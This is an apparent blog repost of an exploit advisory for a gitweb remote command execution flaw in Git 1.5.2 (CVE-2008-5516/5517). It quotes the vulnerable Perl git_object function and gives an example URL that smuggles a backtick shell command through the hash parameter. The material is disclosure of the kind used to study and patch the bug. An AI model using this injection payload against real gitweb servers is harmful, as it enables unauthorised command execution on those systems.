gitWeb v1.5.2 Remote Command Execution-优快云博客

本文揭示了gitWeb中的一项安全漏洞，允许在特定条件下执行远程命令，详细介绍了漏洞利用的代码片段及受影响的git版本。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

# Exploit Title: gitWeb remote command execution 

# Date: 2009.06.19 

# Author: S2 Crew [Hungary] 

# Software Link: - 

# Version: GIT 1.5.2 

# Tested on: debian linux, GIT 1.5.2 

# CVE: CVE-2008-5516 - CVE-2008-5517 

# Code: 

# The cgi script doesn't show the command output *blind command execution ;)* 

# Vulnerable functions in gitweb.cgi: git_snapshot(), git_search(), git_object() 

sub git_object { 

# object is defined by: 

# - hash or hash_base alone 

# - hash_base and file_name 

my $type; 

# - hash or hash_base alone 

if ($hash || ($hash_base && !defined $file_name)) { 

my $object_id = $hash || $hash_base; 

my $git_command = git_cmd_str(); 

open my $fd, "-|", "$git_command cat-file -t $object_id 2>/dev/null" 

or die_error('404 Not Found', "Object does not exist"); 

$type = <$fd>; 

chomp $type; 

close $fd 

or die_error('404 Not Found', "Object does not exist"); 

# - hash_base and file_name 

# Example 

http://server/cgi-bin/gitweb.cgi?p=sample.git/.git;a=object;f=program.c;h=e69de29bb2d1d6434b8b29ae775ad8c2e48c5391|`touch$IFS/tmp/file.txt`|;hb=9adaf5b35bb6415497d23f089660567227ea3785